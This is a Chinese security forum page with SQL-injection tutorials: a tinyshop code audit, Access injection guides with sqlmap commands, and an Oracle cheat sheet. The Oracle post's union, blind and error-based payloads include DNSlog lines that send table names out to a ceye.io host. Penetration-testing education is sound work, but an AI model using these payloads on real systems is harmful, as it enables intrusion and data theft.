通知设置 新通知
代码审计之tinyshop注入
你可以叫我风平 发表了文章 • 0 个评论 • 323 次浏览 • 2020-01-02 11:18
将源码拖入到代码审计工具中查看结构
发现注入的审计过程
原生GET,POST,REQUEST变量中的' " <>等字符被转义了,通过debug跟踪代码以及全局搜索$_REQUEST等字符我并没有找到对这些变量进行过滤的地方,可能是在渲染输出的时候对字符串进行了过滤
我们找到(系统外部变量获取函数)---index.php
我们可看到获取外部变量都调用了Req类,我们跟进/framework/lib/util/request_class.php
GET和POST变量分别对应了Req::get()、Req::post()、Req::args(),且没有任何过滤,每次过滤都会调用Filter类,跟进/framework/lib/util/filter_class.php
Filter类中每一个方法都对应着不同的过滤功能,比较严格
查看系统DB类,了解数据库底层运行方式
/framework/web/model/module_class.php和/framework/web/model/query_class.php
前者用于被控制器调用,后者用于viewAction
基本上Model类的底层没有任何过滤,只是简单的进行类字符串拼接,所以只要能将'或\带入Model类中,且没有被Filter类过滤,即可构成注入
审计分析
综合上面信息,我们可以得知基本上除了Filter类,底层没有进行过于严格的过滤。
只要调用了Req类获取参数且在渲染赋值的过程中没有使用Filter类进行过滤,那么就很容易造成sql注入,底层Model类没有专门进行过滤。
我们进过搜索查找发现/protected/crontrollers/goods.php set_online方法中接收id参数进行商品上下架处理,却没有对id参数进行过滤,直接拼接进sql语句中
审计结果
构造id=12) and if(1=1,sleep(10),0)#,我们进入数据库查询
查看全部
将源码拖入到代码审计工具中查看结构
发现注入的审计过程
原生GET,POST,REQUEST变量中的' " <>等字符被转义了,通过debug跟踪代码以及全局搜索$_REQUEST等字符我并没有找到对这些变量进行过滤的地方,可能是在渲染输出的时候对字符串进行了过滤
我们找到(系统外部变量获取函数)---index.php
我们可看到获取外部变量都调用了Req类,我们跟进/framework/lib/util/request_class.php
GET和POST变量分别对应了Req::get()、Req::post()、Req::args(),且没有任何过滤,每次过滤都会调用Filter类,跟进/framework/lib/util/filter_class.php
Filter类中每一个方法都对应着不同的过滤功能,比较严格
查看系统DB类,了解数据库底层运行方式
/framework/web/model/module_class.php和/framework/web/model/query_class.php
前者用于被控制器调用,后者用于viewAction
基本上Model类的底层没有任何过滤,只是简单的进行类字符串拼接,所以只要能将'或\带入Model类中,且没有被Filter类过滤,即可构成注入
审计分析
综合上面信息,我们可以得知基本上除了Filter类,底层没有进行过于严格的过滤。
只要调用了Req类获取参数且在渲染赋值的过程中没有使用Filter类进行过滤,那么就很容易造成sql注入,底层Model类没有专门进行过滤。
我们进过搜索查找发现/protected/crontrollers/goods.php set_online方法中接收id参数进行商品上下架处理,却没有对id参数进行过滤,直接拼接进sql语句中
审计结果
构造id=12) and if(1=1,sleep(10),0)#,我们进入数据库查询
Access数据库注入
Einzben 发表了文章 • 0 个评论 • 482 次浏览 • 2019-10-24 20:11
0X00简介
常见搭配为:windows+IIS+asp+access
Access 数据库由七种对象组成,它们是表、查询、窗体、报表、宏、页和模块。
Access注入是暴力猜解
Access数据结构(access只有一个数据库)
Access数据库
表名
列名
数据
没有库这个概念 只有表这个概念
0X01注入方法
一:union(兼容性较差,较少运用)
1.猜字段(数据库项目的数量或者说长度)
order by 16
网页正确显示则猜解正确
这里的16就是说数据库列的项数目为16个,如果改为17就会发生报错
由于access数据库的结构为表名-列名-内容数据,想要得到内容数据需要一层层分析
(信息收集时准备的数据库类型并搞明白该数据库的结构,并理清思路)
2.然后猜表名
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 from admin(这里admin是最普通的
站长用户名 页面正常则存在admin,不正常则不存在 )
此网页表名为city
如图示说明在3和9的位置有项目存在数据内容,更改并猜测
3.猜列名
?id=-119 union select 1,2,id,4,5,6,7,8,city,10,11,12,13,14,15,16 from city
这里把3改为id 再把9改为city 没有出错证明这两个字段都是存在 不存在的话同上 不存在字段 (常用的列名 user pass username password admin )
二:exists
1.获取表名:and exists(select*from city) //若页面显示正常,则存在city表
页面显示正常则查表正确
2.查列:and exists(select 列名 from city)
页面显示正常则查表正确
3.查内容:
and (select top 1 len(列名) from 表名)=5 获取指定列名的内容长度
and (select top 1 asc(mid(列名,位数,1)) from 表)=97 获取第一位内容
and (select top 1 asc(mid(列名,位数,1)) from 表)=97 获取第二位内容
0X02sqlmap
1、sqlmap -u "url" --tables 猜表名 (在这里只用修改url)
执行后可能会询问如下图中 1 所示,输入 y 然后回车 表示使用字典查询表名,然后会输出2 询问你是使用默认字典还是自定义 默认则直接按回车,需要自己设置 就输入2 然后回车。
上图中为使用默认字典跑出来的表名。
2、sqlmap -u "url" -T "表名" --columns 猜字段名 (表名为第一步跑出来的表名)
在这个步骤中依然会询问步骤一 图2中的问题,依然输入 y 回车,接着如果使用默认字典直接回车,若使用自定义字典输入2 然后回车。
3、sqlmap -u "url" -T "表名" -C “字段1,字段2,字段3……” --dump 猜解表名中的字段内容 下图中包含步骤2猜解出来的字段
下图中包含表示admin字段爆出来的内容和结果,其中1显示了本次dump的结果保存的路径,2表示本次sqlmap扫描的日志文件路径
这里直接用burp
一路回车
使用sqlmap爆破列名
sqlmap.py -u "http://www..com/news_view.asp?id=119" -T "city" --columns 凉了
换成sqlmap.py -u "http://www..com/news_view.asp?id=119" -T "city" --columns --random-agent
查看全部
0X00简介
常见搭配为:windows+IIS+asp+access
Access 数据库由七种对象组成,它们是表、查询、窗体、报表、宏、页和模块。
Access注入是暴力猜解
Access数据结构(access只有一个数据库)
Access数据库
表名
列名
数据
没有库这个概念 只有表这个概念
0X01注入方法
一:union(兼容性较差,较少运用)
1.猜字段(数据库项目的数量或者说长度)
order by 16
网页正确显示则猜解正确
这里的16就是说数据库列的项数目为16个,如果改为17就会发生报错
由于access数据库的结构为表名-列名-内容数据,想要得到内容数据需要一层层分析
(信息收集时准备的数据库类型并搞明白该数据库的结构,并理清思路)
2.然后猜表名
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 from admin(这里admin是最普通的
站长用户名 页面正常则存在admin,不正常则不存在 )
此网页表名为city
如图示说明在3和9的位置有项目存在数据内容,更改并猜测
3.猜列名
?id=-119 union select 1,2,id,4,5,6,7,8,city,10,11,12,13,14,15,16 from city
这里把3改为id 再把9改为city 没有出错证明这两个字段都是存在 不存在的话同上 不存在字段 (常用的列名 user pass username password admin )
二:exists
1.获取表名:and exists(select*from city) //若页面显示正常,则存在city表
页面显示正常则查表正确
2.查列:and exists(select 列名 from city)
页面显示正常则查表正确
3.查内容:
and (select top 1 len(列名) from 表名)=5 获取指定列名的内容长度
and (select top 1 asc(mid(列名,位数,1)) from 表)=97 获取第一位内容
and (select top 1 asc(mid(列名,位数,1)) from 表)=97 获取第二位内容
0X02sqlmap
1、sqlmap -u "url" --tables 猜表名 (在这里只用修改url)
执行后可能会询问如下图中 1 所示,输入 y 然后回车 表示使用字典查询表名,然后会输出2 询问你是使用默认字典还是自定义 默认则直接按回车,需要自己设置 就输入2 然后回车。
上图中为使用默认字典跑出来的表名。
2、sqlmap -u "url" -T "表名" --columns 猜字段名 (表名为第一步跑出来的表名)
在这个步骤中依然会询问步骤一 图2中的问题,依然输入 y 回车,接着如果使用默认字典直接回车,若使用自定义字典输入2 然后回车。
3、sqlmap -u "url" -T "表名" -C “字段1,字段2,字段3……” --dump 猜解表名中的字段内容 下图中包含步骤2猜解出来的字段
下图中包含表示admin字段爆出来的内容和结果,其中1显示了本次dump的结果保存的路径,2表示本次sqlmap扫描的日志文件路径
这里直接用burp
一路回车
使用sqlmap爆破列名
sqlmap.py -u "http://www..com/news_view.asp?id=119" -T "city" --columns 凉了
换成sqlmap.py -u "http://www..com/news_view.asp?id=119" -T "city" --columns --random-agent
Oracle数据库手注
fireant 发表了文章 • 1 个评论 • 793 次浏览 • 2019-07-09 16:31
Oracle 使用查询语句获取数据时需要跟上表名,没有表的情况下可以使用dual,dual是Oracle的虚拟表,用来构成select的语法规则,Oracle保证dual里面永远只有一条记录。
Oracle的数据类型是强匹配的(MYSQL有弱匹配的味道),所以在Oracle进行类似UNION查询数据时候必须让对应位置上的数据类型和表中的列的数据类型是一致的,也可以使用null代替某些无法快速猜测出数据类型的位置。
0x01环境
服务器:win server 2008中间件:IIS7.0数据库:Oracle Database 18c企业版版本18.0.0.0.0前端语言:ASP
0x02Oracle数据库基础
一、Oracle数据库操作
1、创建数据库create database databasename
2、删除数据库drop database dbname
3、备份数据库* 完全备份
exp demo/demo@orcl buffer=1024 file=d:\back.dmp full=y
demo:用户名、密码
buffer: 缓存大小
file: 具体的备份文件地址
full: 是否导出全部文件
ignore: 忽略错误,如果表已经存在,则也是覆盖
* 将数据库中system用户与sys用户的表导出
exp demo/demo@orcl file=d:\backup\1.dmp owner=(system,sys)
* 导出指定的表
exp demo/demo@orcl file=d:\backup2.dmp tables=(teachers,students)
* 按过滤条件,导出
exp demo/demo@orcl file=d:\back.dmp tables=(table1) query=\" where filed1 like 'fg%'\"
导出时可以进行压缩;命令后面 加上 compress=y ;如果需要日志,后面: log=d:\log.txt
* 备份远程服务器的数据库
exp 用户名/密码@远程的IP:端口/实例 file=存放的位置:\文件名称.dmp full=y
4、数据库还原打开cmd直接执行如下命令,不用再登陆sqlplus。
* 完整还原
imp demo/demo@orcl file=d:\back.dmp full=y ignore=y log=D:\implog.txt
指定log很重要,便于分析错误进行补救。
* 导入指定表
imp demo/demo@orcl file=d:\backup2.dmp tables=(teachers,students)
* 还原到远程服务器
imp 用户名/密码@远程的IP:端口/实例 file=存放的位置:\文件名称.dmp full=y
二、Oracle表操作
1、创建表create table tabname(col1 type1 [not null] [primary key],col2 type2 [not null],..)
根据已有的表创建新表:
A:select * into table_new from table_old (使用旧表创建新表)
B:create table tab_new as select col1,col2… from tab_old definition only<仅适用于Oracle>
2、删除表drop table tabname
3、重命名表 说明:alter table 表名 rename to 新表名
eg:alter table tablename rename to newtablename
4、增加字段说明:alter table 表名 add (字段名 字段类型 默认值 是否为空);
例:alter table tablename add (ID int);
eg:alter table tablename add (ID varchar2(30) default '空' not null);
5、修改字段说明:alter table 表名 modify (字段名 字段类型 默认值 是否为空);
eg:alter table tablename modify (ID number(4));
6、重名字段说明:alter table 表名 rename column 列名 to 新列名 (其中:column是关键字)
eg:alter table tablename rename column ID to newID;
7、删除字段
说明:alter table 表名 drop column 字段名;
eg:alter table tablename drop column ID;
8、添加主键alter table tabname add primary key(col)
9、删除主键alter table tabname drop primary key(col)
10、创建索引create [unique] index idxname on tabname(col….)
11、删除索引
drop index idxname
注:索引是不可更改的,想更改必须删除重新建。
12、创建视图create view viewname as select statement
13、删除视图drop view viewname
三、Oracle操作数据
1、数据查询select <列名> from <表名> [where <查询条件表达试>] [order by <排序的列名>[asc或desc]]
2、插入数据insert into 表名 values(所有列的值);
eg: insert into test values(1,'zhangsan',20);
insert into 表名(列) values(对应的值);
eg: insert into test(id,name) values(2,'lisi');
3、更新数据update 表 set 列=新的值 [where 条件] -->更新满足条件的记录
eg: update test set name='zhangsan2' where name='zhangsan'
update 表 set 列=新的值 -->更新所有的数据
eg: update test set age =20;
4、删除数据* delete from 表名 where 条件 -->删除满足条件的记录
delete from test where id = 1;
delete from test -->删除所有
commit; -->提交数据
rollback; -->回滚数据
delete方式可以恢复删除的数据,但是提交了,就没办法了 delete删除的时候,会记录日志 -->删除会很慢很慢
* truncate table 表名
删除所有数据,不会影响表结构,不会记录日志,数据不能恢复 -->删除很快
* drop table 表名
删除所有数据,包括表结构一并删除,不会记录日志,数据不能恢复-->删除很快
5、数据复制* 表数据复制
insert into table1 (select * from table2);
* 复制表结构
create table table1 select * from table2 where 1>1;
* 复制表结构和数据
create table table1 select * from table2;
* 复制指定字段
create table table1 as select id, name from table2 where 1>1;
0x03判断注入点
1.判断注入点类型(同MYSQL注入)
'错误显示
' and 1=1 --显示错误
and 1=1 显示正常
and 1=2 显示错误
则为无闭合符
0x04联合查询
1.判断列数:order by 3 显示正常
order by 4 显示错误
则为有三列数据
2.判断字符类型
oracle自带虚拟表dual,oracle的查询语句必须完整的包含from字句,且每个字段的类型都要准确对应,一般使用null来判断类型。and 1=2 union select null,null,null from dual 返回正常
and 1=2 union select 'null',null...... from dual 返回正常,说明第一个字段是数字型,反之为字符型
第一个字段是字符型,判断第二个字段类型:
and 1=2 union select 'null','null'...... from dual 返回正常,说明第二个字段是字符型,反之为数字型
第一个字段是数字型,判断第二个字段类型:
and 1=2 union select null,'null'...... from dual 返回正常,说明第二个字段是字符型,反之为数字型
3.判断显示位and 1=2 union select 1,'2','3' from dual -- 将null用数字代替,上面判断出为字符型的加上单引号,即可判断出对应的显示位
4.探测数据库版本信息
rownum 对于等于某值的查询条件
如果希望找到学生表中第一条学生的信息,可以使用rownum=1作为条件。但是想找到学生表中第二条学生的信息,使用rownum=2结果查不到数据。因为rownum都是从1开始,但是1以上的自然数在rownum做等于判断是时认为都是false条件,所以无法查到rownum = n(n>1的自然数) and 1=2 union select null,(select banner from sys.v_$version where rownum=1),null from dual --
5.探测第一个表名
user_tables表为Oracle数据库的默认表,表下有字段table_name对应所有用户创建的表名and 1=2 union select null,(select table_name from user_tables where rownum=1),null from dual --
6.探测第二个表名
注意,查询第二个表时,利用筛选方法,即排除第一个表:table_name<>'STUDENT'and 1=2 union select null,(select table_name from user_tables where rownum=1 and table_name<>'STUDENT'),null from dual --
7.探测关键表的字段
user_tab_columns表为Oracle数据库的默认表, 表下有字段table_name和column_name对应所有的用户创建的表名,字段名and 1=2 union select null,(select column_name from user_tab_columns where table_name='STUDENT' and rownum=1),null from dual --
and 1=2 union select null,(select column_name from user_tab_columns where table_name='STUDENT' and rownum=1 and column_name<>'ID'),null from dual -- 排除第一个字段名ID
tand 1=2 union select null,(select column_name from user_tab_columns where table_name='STUDENT' and rownum=1 and column_name<>'ID' and column_name<>'NAME'),null from dual -- 排除前两个字段名ID和NAME
8.探测关键字段的数据and 1=2 union select id,name,pass from student where id=3 --
Oracle联合查询——DNSlog注入
此方法需要Oracle数据库用户拥有网络访问权限
手动添加权限参考 http://blog.itpub.net/26736162/viewspace-2072163/
UTL_HTTP.REQUESTunion SELECT null,UTL_HTTP.REQUEST((select table_name from user_tables where rownum=1)||'.8dktk9.ceye.io'),null FROM DUAL
UTL_INADDR.GET_HOST_ADDRESSunion SELECT null,UTL_INADDR.GET_HOST_ADDRESS((select table_name from user_tables where rownum=1)||'.here.8dktk9.ceye.io'),null FROM DUAL
HTTPURITYPEunion SELECT null,HTTPURITYPE((select table_name from user_tables where rownum=1)||'.port.8dktk9.ceye.io').GETCLOB(),null FROM DUAL
DBMS_LDAP.INITunion SELECT null,DBMS_LDAP.INIT((select table_name from user_tables where rownum=1)||'.port.8dktk9.ceye.io',80),null FROM DUAL
0x05盲注
一、布尔盲注
1.获取数据表个数
count()函数获取字符串个数and (select count(table_name) from user_tables)>2 -- 页面报错
and (select count(table_name) from user_tables)=2 -- 页面正常,即表个数为2
2.获取第一个表的字符个数
length()函数判断字符个数and (select length(table_name) from user_tables where rownum=1)>7 -- 页面报错
and (select length(table_name) from user_tables where rownum=1)=7 -- 页面正常 ,即第一个表的字符数为7
2.获取第一个表的第一个字符
substr( )函数
substring()
作用:截取字符串
用法:substr(string,num start,num length)
string 为字符串
start 为起始长度从1开始
length 为长度
ascii()函数
作用:返回字符串str的字符ASCII码值。入果str是空字符串,返回0,入果string是NULL,返回NULLand ascii(substr((select table_name from user_tables where rownum=1),1,1))=83 -- 页面正常,即第一个字符为ascii值83所对应的字母。为W
二、时间盲注
对oracle进行时间盲注通常使用decode()函数
decode函数有很多种功能,在这里我们主要用到它可以比较字符串的功能。类似if-then语句。
DECODE(expr, search, result
[, search, result ]...
[, default ]
)
DECODE函数会依次比较expr与search的值,如果expr等于search的值,那么DECODE函数将会返回search后面对应的result的值。如果到最后也没有匹配成功,那么便会返回最后面的default
类似 C++ 里面的switch语句。
该Payload的核心思想便是,根据表达式与search的值是否匹配,来决定是否执行高耗时SQL操作。
例如:(select count(*) from all_objects),对数据库中大量数据进行查询或其他处理的操作,这样的操作会耗费较多的时间,然后通过这个方式来获取数据。这种方式也适用于其他数据库。
1.探测第一个表名的第一个字符and 1=(select decode(substr((select table_name from user_tables where rownum=1),1,1),'S',(select count(*) from all_objects),1) from dual) 执行这条语句是页面延迟,即第一个表名的第一个字符为S
0x06报错注入
1.使用 dbms_xdb_version.checkin()进行报错注入and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null -- 探测数据库版本信息
2.使用dbms_xdb_version.makeversioned()进报错注入and (select dbms_xdb_version.makeversioned((select banner from sys.v_$version where rownum=1)) from dual) is not null --
3.报错注入其他payloadand (select dbms_xdb_version.uncheckout((select banner from sys.v_$version where rownum=1)) from dual) is not null --
and (SELECT dbms_utility.sqlid_to_sqlhash((select banner from sys.v_$version where rownum=1)) from dual) is not null --
and (select dbms_streams.get_information((select banner from sys.v_$version where rownum=1)) from dual) is not null --
and (select dbms_xmlschema.generateschema((select banner from sys.v_$version where rownum=1)) from dual) is not null --
and (select dbms_xmltranslations.extractxliff((select banner from sys.v_$version where rownum=1)) from dual) is not null --
and 1=ordsys.ord_dicom.getmappingxpath((select banner from sys.v_$version where rownum=1),user,user) --
and 1=utl_inaddr.get_host_name((select banner from sys.v_$version where rownum=1))--
and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1))--
and (select upper(XMLType(chr(60)||chr(58)||(select banner from sys.v_$version where rownum=1)||chr(62))) from dual) is not null--
0x07参考文献
http://www.teagle.top/index.php/archives/149/
https://www.freebuf.com/column/146464.html
http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet
https://docs.oracle.com/cd/B19306_01/server.102/b14200/functions040.htm 查看全部
Oracle 使用查询语句获取数据时需要跟上表名,没有表的情况下可以使用dual,dual是Oracle的虚拟表,用来构成select的语法规则,Oracle保证dual里面永远只有一条记录。
Oracle的数据类型是强匹配的(MYSQL有弱匹配的味道),所以在Oracle进行类似UNION查询数据时候必须让对应位置上的数据类型和表中的列的数据类型是一致的,也可以使用null代替某些无法快速猜测出数据类型的位置。
0x01环境
- 服务器:win server 2008
- 中间件:IIS7.0
- 数据库:Oracle Database 18c企业版版本18.0.0.0.0
- 前端语言:ASP
0x02Oracle数据库基础
一、Oracle数据库操作
1、创建数据库
create database databasename
2、删除数据库
drop database dbname
3、备份数据库
* 完全备份
exp demo/demo@orcl buffer=1024 file=d:\back.dmp full=y
demo:用户名、密码
buffer: 缓存大小
file: 具体的备份文件地址
full: 是否导出全部文件
ignore: 忽略错误,如果表已经存在,则也是覆盖
* 将数据库中system用户与sys用户的表导出
exp demo/demo@orcl file=d:\backup\1.dmp owner=(system,sys)
* 导出指定的表
exp demo/demo@orcl file=d:\backup2.dmp tables=(teachers,students)
* 按过滤条件,导出
exp demo/demo@orcl file=d:\back.dmp tables=(table1) query=\" where filed1 like 'fg%'\"
导出时可以进行压缩;命令后面 加上 compress=y ;如果需要日志,后面: log=d:\log.txt
* 备份远程服务器的数据库
exp 用户名/密码@远程的IP:端口/实例 file=存放的位置:\文件名称.dmp full=y
4、数据库还原
打开cmd直接执行如下命令,不用再登陆sqlplus。
* 完整还原
imp demo/demo@orcl file=d:\back.dmp full=y ignore=y log=D:\implog.txt
指定log很重要,便于分析错误进行补救。
* 导入指定表
imp demo/demo@orcl file=d:\backup2.dmp tables=(teachers,students)
* 还原到远程服务器
imp 用户名/密码@远程的IP:端口/实例 file=存放的位置:\文件名称.dmp full=y
二、Oracle表操作
1、创建表
create table tabname(col1 type1 [not null] [primary key],col2 type2 [not null],..)
根据已有的表创建新表:
A:select * into table_new from table_old (使用旧表创建新表)
B:create table tab_new as select col1,col2… from tab_old definition only<仅适用于Oracle>
2、删除表
drop table tabname
3、重命名表
说明:alter table 表名 rename to 新表名
eg:alter table tablename rename to newtablename
4、增加字段
说明:alter table 表名 add (字段名 字段类型 默认值 是否为空);
例:alter table tablename add (ID int);
eg:alter table tablename add (ID varchar2(30) default '空' not null);
5、修改字段
说明:alter table 表名 modify (字段名 字段类型 默认值 是否为空);
eg:alter table tablename modify (ID number(4));
6、重名字段
说明:alter table 表名 rename column 列名 to 新列名 (其中:column是关键字)
eg:alter table tablename rename column ID to newID;
7、删除字段
说明:alter table 表名 drop column 字段名;
eg:alter table tablename drop column ID;
8、添加主键
alter table tabname add primary key(col)
9、删除主键
alter table tabname drop primary key(col)
10、创建索引
create [unique] index idxname on tabname(col….)
11、删除索引
drop index idxname
注:索引是不可更改的,想更改必须删除重新建。
12、创建视图
create view viewname as select statement
13、删除视图
drop view viewname
三、Oracle操作数据
1、数据查询
select <列名> from <表名> [where <查询条件表达试>] [order by <排序的列名>[asc或desc]]
2、插入数据
insert into 表名 values(所有列的值);
eg: insert into test values(1,'zhangsan',20);
insert into 表名(列) values(对应的值);
eg: insert into test(id,name) values(2,'lisi');
3、更新数据
update 表 set 列=新的值 [where 条件] -->更新满足条件的记录
eg: update test set name='zhangsan2' where name='zhangsan'
update 表 set 列=新的值 -->更新所有的数据
eg: update test set age =20;
4、删除数据
* delete from 表名 where 条件 -->删除满足条件的记录
delete from test where id = 1;
delete from test -->删除所有
commit; -->提交数据
rollback; -->回滚数据
delete方式可以恢复删除的数据,但是提交了,就没办法了 delete删除的时候,会记录日志 -->删除会很慢很慢
* truncate table 表名
删除所有数据,不会影响表结构,不会记录日志,数据不能恢复 -->删除很快
* drop table 表名
删除所有数据,包括表结构一并删除,不会记录日志,数据不能恢复-->删除很快
5、数据复制
* 表数据复制
insert into table1 (select * from table2);
* 复制表结构
create table table1 select * from table2 where 1>1;
* 复制表结构和数据
create table table1 select * from table2;
* 复制指定字段
create table table1 as select id, name from table2 where 1>1;
0x03判断注入点
1.判断注入点类型(同MYSQL注入)
'错误显示
' and 1=1 --显示错误
and 1=1 显示正常
and 1=2 显示错误
则为无闭合符
0x04联合查询
1.判断列数:
order by 3 显示正常
order by 4 显示错误
则为有三列数据
2.判断字符类型
oracle自带虚拟表dual,oracle的查询语句必须完整的包含from字句,且每个字段的类型都要准确对应,一般使用null来判断类型。
and 1=2 union select null,null,null from dual 返回正常
and 1=2 union select 'null',null...... from dual 返回正常,说明第一个字段是数字型,反之为字符型
第一个字段是字符型,判断第二个字段类型:
and 1=2 union select 'null','null'...... from dual 返回正常,说明第二个字段是字符型,反之为数字型
第一个字段是数字型,判断第二个字段类型:
and 1=2 union select null,'null'...... from dual 返回正常,说明第二个字段是字符型,反之为数字型
3.判断显示位
and 1=2 union select 1,'2','3' from dual -- 将null用数字代替,上面判断出为字符型的加上单引号,即可判断出对应的显示位
4.探测数据库版本信息
rownum 对于等于某值的查询条件
如果希望找到学生表中第一条学生的信息,可以使用rownum=1作为条件。但是想找到学生表中第二条学生的信息,使用rownum=2结果查不到数据。因为rownum都是从1开始,但是1以上的自然数在rownum做等于判断是时认为都是false条件,所以无法查到rownum = n(n>1的自然数)
and 1=2 union select null,(select banner from sys.v_$version where rownum=1),null from dual --
5.探测第一个表名
user_tables表为Oracle数据库的默认表,表下有字段table_name对应所有用户创建的表名
and 1=2 union select null,(select table_name from user_tables where rownum=1),null from dual --
6.探测第二个表名
注意,查询第二个表时,利用筛选方法,即排除第一个表:table_name<>'STUDENT'
and 1=2 union select null,(select table_name from user_tables where rownum=1 and table_name<>'STUDENT'),null from dual --
7.探测关键表的字段
user_tab_columns表为Oracle数据库的默认表, 表下有字段table_name和column_name对应所有的用户创建的表名,字段名
and 1=2 union select null,(select column_name from user_tab_columns where table_name='STUDENT' and rownum=1),null from dual --
and 1=2 union select null,(select column_name from user_tab_columns where table_name='STUDENT' and rownum=1 and column_name<>'ID'),null from dual -- 排除第一个字段名ID
tand 1=2 union select null,(select column_name from user_tab_columns where table_name='STUDENT' and rownum=1 and column_name<>'ID' and column_name<>'NAME'),null from dual -- 排除前两个字段名ID和NAME
8.探测关键字段的数据
and 1=2 union select id,name,pass from student where id=3 --
Oracle联合查询——DNSlog注入
此方法需要Oracle数据库用户拥有网络访问权限
手动添加权限参考 http://blog.itpub.net/26736162/viewspace-2072163/
UTL_HTTP.REQUEST
union SELECT null,UTL_HTTP.REQUEST((select table_name from user_tables where rownum=1)||'.8dktk9.ceye.io'),null FROM DUAL
UTL_INADDR.GET_HOST_ADDRESS
union SELECT null,UTL_INADDR.GET_HOST_ADDRESS((select table_name from user_tables where rownum=1)||'.here.8dktk9.ceye.io'),null FROM DUAL
HTTPURITYPE
union SELECT null,HTTPURITYPE((select table_name from user_tables where rownum=1)||'.port.8dktk9.ceye.io').GETCLOB(),null FROM DUAL
DBMS_LDAP.INIT
union SELECT null,DBMS_LDAP.INIT((select table_name from user_tables where rownum=1)||'.port.8dktk9.ceye.io',80),null FROM DUAL
0x05盲注
一、布尔盲注
1.获取数据表个数
count()函数获取字符串个数
and (select count(table_name) from user_tables)>2 -- 页面报错
and (select count(table_name) from user_tables)=2 -- 页面正常,即表个数为2
2.获取第一个表的字符个数
length()函数判断字符个数
and (select length(table_name) from user_tables where rownum=1)>7 -- 页面报错
and (select length(table_name) from user_tables where rownum=1)=7 -- 页面正常 ,即第一个表的字符数为7
2.获取第一个表的第一个字符
substr( )函数
substring()
作用:截取字符串
用法:substr(string,num start,num length)
string 为字符串
start 为起始长度从1开始
length 为长度
ascii()函数
作用:返回字符串str的字符ASCII码值。入果str是空字符串,返回0,入果string是NULL,返回NULL
and ascii(substr((select table_name from user_tables where rownum=1),1,1))=83 -- 页面正常,即第一个字符为ascii值83所对应的字母。为W
二、时间盲注
对oracle进行时间盲注通常使用decode()函数
decode函数有很多种功能,在这里我们主要用到它可以比较字符串的功能。类似if-then语句。
DECODE(expr, search, result
[, search, result ]...
[, default ]
)
DECODE函数会依次比较expr与search的值,如果expr等于search的值,那么DECODE函数将会返回search后面对应的result的值。如果到最后也没有匹配成功,那么便会返回最后面的default
类似 C++ 里面的switch语句。
该Payload的核心思想便是,根据表达式与search的值是否匹配,来决定是否执行高耗时SQL操作。
例如:(select count(*) from all_objects),对数据库中大量数据进行查询或其他处理的操作,这样的操作会耗费较多的时间,然后通过这个方式来获取数据。这种方式也适用于其他数据库。
1.探测第一个表名的第一个字符
and 1=(select decode(substr((select table_name from user_tables where rownum=1),1,1),'S',(select count(*) from all_objects),1) from dual) 执行这条语句是页面延迟,即第一个表名的第一个字符为S
0x06报错注入
1.使用 dbms_xdb_version.checkin()进行报错注入
and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null -- 探测数据库版本信息
2.使用dbms_xdb_version.makeversioned()进报错注入
and (select dbms_xdb_version.makeversioned((select banner from sys.v_$version where rownum=1)) from dual) is not null --
3.报错注入其他payload
and (select dbms_xdb_version.uncheckout((select banner from sys.v_$version where rownum=1)) from dual) is not null --
and (SELECT dbms_utility.sqlid_to_sqlhash((select banner from sys.v_$version where rownum=1)) from dual) is not null --
and (select dbms_streams.get_information((select banner from sys.v_$version where rownum=1)) from dual) is not null --
and (select dbms_xmlschema.generateschema((select banner from sys.v_$version where rownum=1)) from dual) is not null --
and (select dbms_xmltranslations.extractxliff((select banner from sys.v_$version where rownum=1)) from dual) is not null --
and 1=ordsys.ord_dicom.getmappingxpath((select banner from sys.v_$version where rownum=1),user,user) --
and 1=utl_inaddr.get_host_name((select banner from sys.v_$version where rownum=1))--
and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1))--
and (select upper(XMLType(chr(60)||chr(58)||(select banner from sys.v_$version where rownum=1)||chr(62))) from dual) is not null--
0x07参考文献
http://www.teagle.top/index.php/archives/149/
https://www.freebuf.com/column/146464.html
http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet
https://docs.oracle.com/cd/B19306_01/server.102/b14200/functions040.htm
Access数据库注入
flaray 发表了文章 • 0 个评论 • 477 次浏览 • 2019-04-01 17:55
*
默认用户:admin,密码:空。
*
注释符: Access中没有专门的注释符号.因此"/*", "--"和"#"都没法使用.但是可以使用空字符"NULL"()代替: ' UNION SELECT 1,1,1 FROM validTableName
*
Access不支持多句执行。
*
Access支持联合查询,UNION后的FROM关键字必须使用一个已经存在的表名.
*
附属查询: Access支持附属查询(例如:"TOP 1"用来返回第一行的内容) : ' AND (SELECT TOP 1 'someData' FROM validTableName)
*
LIMIT不被支持,但是在查询中可以声明"TOP N"来限制返回内容的行数: ' UNION SELECT TOP 3 AttrName FROM validTableName : 这条语句返回(前)3 行.
*
让查询返回0行:在脚本在返回的HTML结果中只显示第一个查询的结果的时候非常有用:* ' AND 1=0 UNION SELECT AttrName1,AttrName2 FROM validTableName
*
字符串连接:不支持CONCAT()函数. 可以使用"&"或"+"操作来俩接两个字符串.在使用的时侯必须对这两个操作符进行URLencode编码:
* ' UNION SELECT 'web' %2b 'app' FROM validTableName : 返回"webapp"
* ' UNION SELECT 'web' %26 'app' FROM validTableName : 返回"webapp"
*
暴WEB路径:
可以通过对一个不存在的库进行SELECT操作.Access将回应一条包含有完整路径的错误信息
* ' UNION SELECT 1 FROM ThisIsAFakeName.FakeTable
*
IF语句: 可以使用IIF()函数. 语法 : IIF(condition, true, false), ' UNION SELECT IIF(1=1, 'a', 'b') FROM validTableName : 返回 'a'
*
验证文件是否存在:' UNION SELECT name FROM msysobjects IN '\boot.ini' : (如果文件存在)将会获得一条错误信息:it informs that the database format was not recognized。
0x002:注入步骤
*
表名猜解: ' UNION SELECT 1 FROM table[i]
*
列名猜解: 需要一个已知的表名和主查询的列的数目: ' UNION SELECT fieldName[j],1,1,1 FROM validTableName
你可以将上面的例子修改一下(将table改为fieldname),如果表不存在,将会返回一个列不存在的错误信息.
*
